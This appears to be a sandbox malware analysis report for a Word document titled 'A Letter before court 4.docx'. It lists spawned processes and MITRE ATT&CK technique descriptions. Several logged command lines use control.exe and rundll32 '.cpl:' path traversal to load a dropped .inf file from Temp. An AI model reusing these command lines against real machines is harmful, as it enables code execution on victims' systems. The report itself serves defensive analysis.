Commandline:	'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding
Imagebase:	0xde0000
File size:	1937688 bytes
MD5 hash:	0B9AB9B9C4DE429473D6450D4297A123
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MSOSYNC.EXE PID: 5216 Parent PID: 4020

General

Start time:	05:59:38
Start date:	02/09/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\MSOSYNC.EXE
Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\Microsoft Office\Office16\MsoSync.exe
Imagebase:	0x7ff7488e0000
File size:	466688 bytes
MD5 hash:	EA19F4A0D18162BE3A0C8DAD249ADE8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: control.exe PID: 5512 Parent PID: 4020

General

Start time:	05:59:48
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: control.exe PID: 4456 Parent PID: 4020

General

Start time:	05:59:49
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: control.exe PID: 720 Parent PID: 4020

General

Start time:	05:59:49
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 3920 Parent PID: 5512

General

Start time:	05:59:50
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: control.exe PID: 5636 Parent PID: 4020

General

Start time:	05:59:50
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: control.exe PID: 4912 Parent PID: 4020

General

Start time:	05:59:51
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 5184 Parent PID: 4456

General

Start time:	05:59:51
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: control.exe PID: 780 Parent PID: 4020

General

Start time:	05:59:52
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 5588 Parent PID: 3920

General

Start time:	05:59:52
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4664 Parent PID: 720

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6168 Parent PID: 4020

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6196 Parent PID: 5636

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6212 Parent PID: 5184

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6228 Parent PID: 4912

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6248 Parent PID: 4020

General

Start time:	05:59:53
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6276 Parent PID: 4664

General

Start time:	05:59:54
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6296 Parent PID: 780

General

Start time:	05:59:54
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6320 Parent PID: 6196

General

Start time:	05:59:54
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6348 Parent PID: 4020

General

Start time:	05:59:54
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:123',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6364 Parent PID: 6168

General

Start time:	05:59:55
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6380 Parent PID: 6228

General

Start time:	05:59:55
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6408 Parent PID: 4020

General

Start time:	05:59:55
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6436 Parent PID: 6296

General

Start time:	05:59:55
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6448 Parent PID: 6248

General

Start time:	05:59:55
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6484 Parent PID: 4020

General

Start time:	05:59:56
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:../../../AppData/Local/Temp/championship.inf',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6492 Parent PID: 6364

General

Start time:	05:59:56
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6532 Parent PID: 4020

General

Start time:	05:59:56
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/Low/championship.inf',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6572 Parent PID: 6448

General

Start time:	05:59:57
Start date:	02/09/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x7ff619160000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6592 Parent PID: 6348

General

Start time:	05:59:57
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:123',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: control.exe PID: 6620 Parent PID: 4020

General

Start time:	05:59:57
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\control.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\control.exe' '.cpl:../../../../AppData/Local/Temp/championship.inf',
Imagebase:	0xbc0000
File size:	114688 bytes
MD5 hash:	40FBA3FBFD5E33E0DE1BA45472FDA66F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6628 Parent PID: 6408

General

Start time:	05:59:57
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6656 Parent PID: 6484

General

Start time:	05:59:57
Start date:	02/09/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL '.cpl:../../../AppData/Local/Temp/championship.inf',
Imagebase:	0x1370000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report A Letter before court 4.docx

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: WINWORD.EXE PID: 4020 Parent PID: 792

General

Analysis Process: MSOSYNC.EXE PID: 5216 Parent PID: 4020

General